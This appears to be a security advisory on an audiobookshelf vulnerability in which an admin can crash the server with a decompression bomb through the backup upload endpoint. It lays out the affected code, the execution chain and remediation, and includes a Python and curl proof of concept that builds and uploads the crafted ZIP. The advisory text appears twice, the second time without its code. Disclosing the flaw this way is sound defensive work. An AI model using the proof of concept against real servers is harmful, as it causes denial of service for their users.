Summary
The POST /api/backups/upload endpoint decompresses the details entry from an uploaded .audiobookshelf ZIP file entirely into memory using zip.entryData(), with no limit on the decompressed size. The upload middleware also has no file size limit. An admin user can upload a crafted ZIP containing a highly compressed details entry that, when decompressed, consumes hundreds of megabytes or gigabytes of memory, crashing the server process via out-of-memory.
Severity
Medium (CVSS 3.1: 4.9)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network — standard API endpoint
- Attack Complexity: Low — single upload of a crafted ZIP file
- Privileges Required: High — requires admin-level access to the backup upload endpoint
- User Interaction: None
- Scope: Unchanged — the DoS affects the audiobookshelf server process itself
- Confidentiality Impact: None — no data is disclosed
- Integrity Impact: None — no data is modified
- Availability Impact: High — the server process can be reliably crashed via memory exhaustion
Affected Component
server/managers/BackupManager.js — uploadBackup (line 136) — unbounded in-memory decompression
server/Server.js — fileUpload() middleware (line 305) — no upload size limit configured
server/libs/nodeStreamZip/index.js — entryData (line 720) — fully materializes decompressed data
CWE
- CWE-400: Uncontrolled Resource Consumption
Description
No file size limit on upload middleware
The fileUpload() middleware is configured without any limits parameter:
// server/Server.js:305-312
router.use(
fileUpload({
defCharset: 'utf8',
defParamCharset: 'utf8',
useTempFiles: true,
tempFileDir: Path.join(global.MetadataPath, 'tmp')
})
)
Without a limits.fileSize setting, the underlying busboy parser defaults to Infinity:
// server/libs/busboy/types/multipart.js:254-256
const fileSizeLimit = (limits && typeof limits.fileSize === 'number'
? limits.fileSize
: Infinity);
While useTempFiles: true means the uploaded file is written to disk rather than held in memory during upload, this still allows arbitrarily large files to reach the backup processing code.
Unbounded in-memory decompression of the details entry
The uploadBackup handler decompresses the details entry entirely into memory:
// server/managers/BackupManager.js:122-137
const zip = new StreamZip.async({ file: tempPath })
let entries
try {
entries = await zip.entries()
} catch (error) {
// ...
}
if (!Object.keys(entries).includes('absdatabase.sqlite')) {
// ...
}
const data = await zip.entryData('details') // Full decompression into Buffer
const details = data.toString('utf8').split('\n') // Second copy as string + split
The entryData() method collects all decompressed chunks and concatenates them:
// server/libs/nodeStreamZip/index.js:720-733
async entryData(entry) {
const stm = await this.stream(entry);
return new Promise((resolve, reject) => {
const data = [];
stm.on('data', (chunk) => data.push(chunk));
stm.on('end', () => {
resolve(Buffer.concat(data)); // Materializes full decompressed content
});
// ...
});
}
For a details entry that decompresses to 200MB, this code path allocates:
- ~200MB for the
Buffer from entryData()
- ~200MB for the UTF-8 string from
data.toString('utf8')
- Additional memory for the
.split('\n') array
maxBackupSize not enforced during upload
The codebase has a maxBackupSize setting, but it is only enforced during backup creation, not during upload:
// server/managers/BackupManager.js:46-48 — getter
get maxBackupSize() {
return global.ServerSettings.maxBackupSize || Infinity // Defaults to Infinity
}
// server/managers/BackupManager.js:441-452 — only used during backup CREATION
archive.on('progress', ({ fs: fsobj }) => {
if (this.maxBackupSize !== Infinity) {
const maxBackupSizeInBytes = this.maxBackupSize * 1000 * 1000 * 1000
if (fsobj.processedBytes > maxBackupSizeInBytes) {
Logger.error(`[BackupManager] Archiver is too large - aborting...`)
archive.abort()
}
}
})
The uploadBackup method (line 103-159) has no size check whatsoever.
Only minimal validation before decompression
The upload handler validates only:
- File extension is
.audiobookshelf (line 105)
- The ZIP contains an
absdatabase.sqlite entry (line 131)
Neither check prevents a ZIP with an oversized details entry.
Execution chain
- Admin authenticates and sends
POST /api/backups/upload with a crafted .audiobookshelf ZIP file
fileUpload() middleware accepts the file with no size limit and writes it to a temp file
BackupController.upload (line 70-76) passes to BackupManager.uploadBackup
- The file is moved to the backups directory (line 110-117)
StreamZip.async opens the file and reads entries (line 122-130)
- The
absdatabase.sqlite entry check passes (the crafted ZIP includes a minimal SQLite header)
zip.entryData('details') at line 136 decompresses the entire details entry into memory — a 200MB+ entry causes hundreds of MB of memory allocation
data.toString('utf8').split('\n') at line 137 creates additional in-memory copies
- The Node.js process runs out of memory and crashes, or becomes severely degraded
Proof of Concept
# Generate a malicious backup file with a 200MB compressed details entry
python3 - <<'PY'
import zipfile, time
path = '/tmp/backup_details_200mb.audiobookshelf'
# Minimal valid details header (id, dbEngine, timestamp, serverVersion)
meta = 'test-id\nsqlite\n' + str(int(time.time() * 1000)) + '\n2.32.1\n'
with zipfile.ZipFile(path, 'w', compression=zipfile.ZIP_DEFLATED, compresslevel=9) as z:
# Minimal valid SQLite header to pass the entry check
z.writestr('absdatabase.sqlite', b'SQLite format 3\x00')
# 200MB of repeated characters — compresses to a few hundred KB
z.writestr('details', meta + 'A' * (200 * 1024 * 1024))
print(f'Created: {path}')
PY
# Upload the malicious backup (requires admin token)
# Monitor server RSS before and after:
PID=$(pgrep -f audiobookshelf)
echo "Before: $(ps -o rss= -p $PID) KB"
curl -s -X POST \
-H 'Authorization: Bearer $ADMIN_TOKEN' \
'http://127.0.0.1:3333/api/backups/upload' \
-F "file=@/tmp/backup_details_200mb.audiobookshelf"
echo "After: $(ps -o rss= -p $PID) KB"
# Observed: RSS grows by ~350MB for a 200MB decompressed details entry
# Larger entries (1GB+) will crash the process via OOM
Impact
- Server crash via OOM: An admin can reliably crash the audiobookshelf server process by uploading a ZIP with a large compressed
details entry, causing complete service disruption for all users
- Repeated exploitation: The attack can be repeated immediately after the server restarts, enabling sustained denial of service
- Low cost to attacker: ZIP compression ratios of 1000:1 are achievable with repetitive content, so a few hundred KB upload can decompress to hundreds of MB in memory
- No upload size limit: The absence of a file size limit on the upload middleware means even very large compressed files are accepted
Recommended Remediation
Option 1: Limit decompressed entry size before reading into memory (preferred)
Add a size check on the details entry before calling entryData():
// server/managers/BackupManager.js — in uploadBackup, after entries check
const detailsEntry = entries['details']
if (!detailsEntry) {
Logger.error('[BackupManager] Invalid backup with no details file')
return res.status(400).send('Invalid backup file - missing details')
}
const maxDetailsSize = 10 * 1024 * 1024 // 10MB — details should be a few KB at most
if (detailsEntry.size > maxDetailsSize) {
Logger.error(`[BackupManager] Backup details entry too large: ${detailsEntry.size} bytes`)
await zip.close()
await fs.remove(tempPath)
return res.status(400).send('Invalid backup file - details entry too large')
}
const data = await zip.entryData('details')
The ZIP entry metadata includes the uncompressed size (entry.size), which can be checked before decompression.
Option 2: Add a file size limit to the upload middleware
Configure a reasonable upload size limit in the fileUpload() middleware:
// server/Server.js
router.use(
fileUpload({
defCharset: 'utf8',
defParamCharset: 'utf8',
useTempFiles: true,
tempFileDir: Path.join(global.MetadataPath, 'tmp'),
limits: { fileSize: 4 * 1024 * 1024 * 1024 } // 4GB limit
})
)
Note: This limits the compressed upload size but does not prevent decompression bombs where a small compressed file expands to a much larger size in memory. Both options should ideally be applied together for defense in depth.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
Summary
The
POST /api/backups/uploadendpoint decompresses thedetailsentry from an uploaded.audiobookshelfZIP file entirely into memory usingzip.entryData(), with no limit on the decompressed size. The upload middleware also has no file size limit. An admin user can upload a crafted ZIP containing a highly compresseddetailsentry that, when decompressed, consumes hundreds of megabytes or gigabytes of memory, crashing the server process via out-of-memory.Severity
Medium (CVSS 3.1: 4.9)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:HAffected Component
server/managers/BackupManager.js—uploadBackup(line 136) — unbounded in-memory decompressionserver/Server.js—fileUpload()middleware (line 305) — no upload size limit configuredserver/libs/nodeStreamZip/index.js—entryData(line 720) — fully materializes decompressed dataCWE
Description
No file size limit on upload middleware
The
fileUpload()middleware is configured without anylimitsparameter:Without a
limits.fileSizesetting, the underlying busboy parser defaults toInfinity:While
useTempFiles: truemeans the uploaded file is written to disk rather than held in memory during upload, this still allows arbitrarily large files to reach the backup processing code.Unbounded in-memory decompression of the details entry
The
uploadBackuphandler decompresses thedetailsentry entirely into memory:The
entryData()method collects all decompressed chunks and concatenates them:For a
detailsentry that decompresses to 200MB, this code path allocates:BufferfromentryData()data.toString('utf8').split('\n')arraymaxBackupSize not enforced during upload
The codebase has a
maxBackupSizesetting, but it is only enforced during backup creation, not during upload:The
uploadBackupmethod (line 103-159) has no size check whatsoever.Only minimal validation before decompression
The upload handler validates only:
.audiobookshelf(line 105)absdatabase.sqliteentry (line 131)Neither check prevents a ZIP with an oversized
detailsentry.Execution chain
POST /api/backups/uploadwith a crafted.audiobookshelfZIP filefileUpload()middleware accepts the file with no size limit and writes it to a temp fileBackupController.upload(line 70-76) passes toBackupManager.uploadBackupStreamZip.asyncopens the file and reads entries (line 122-130)absdatabase.sqliteentry check passes (the crafted ZIP includes a minimal SQLite header)zip.entryData('details')at line 136 decompresses the entiredetailsentry into memory — a 200MB+ entry causes hundreds of MB of memory allocationdata.toString('utf8').split('\n')at line 137 creates additional in-memory copiesProof of Concept
Impact
detailsentry, causing complete service disruption for all usersRecommended Remediation
Option 1: Limit decompressed entry size before reading into memory (preferred)
Add a size check on the
detailsentry before callingentryData():The ZIP entry metadata includes the uncompressed size (
entry.size), which can be checked before decompression.Option 2: Add a file size limit to the upload middleware
Configure a reasonable upload size limit in the
fileUpload()middleware:Note: This limits the compressed upload size but does not prevent decompression bombs where a small compressed file expands to a much larger size in memory. Both options should ideally be applied together for defense in depth.
Credit
This vulnerability was discovered and reported by bugbunny.ai.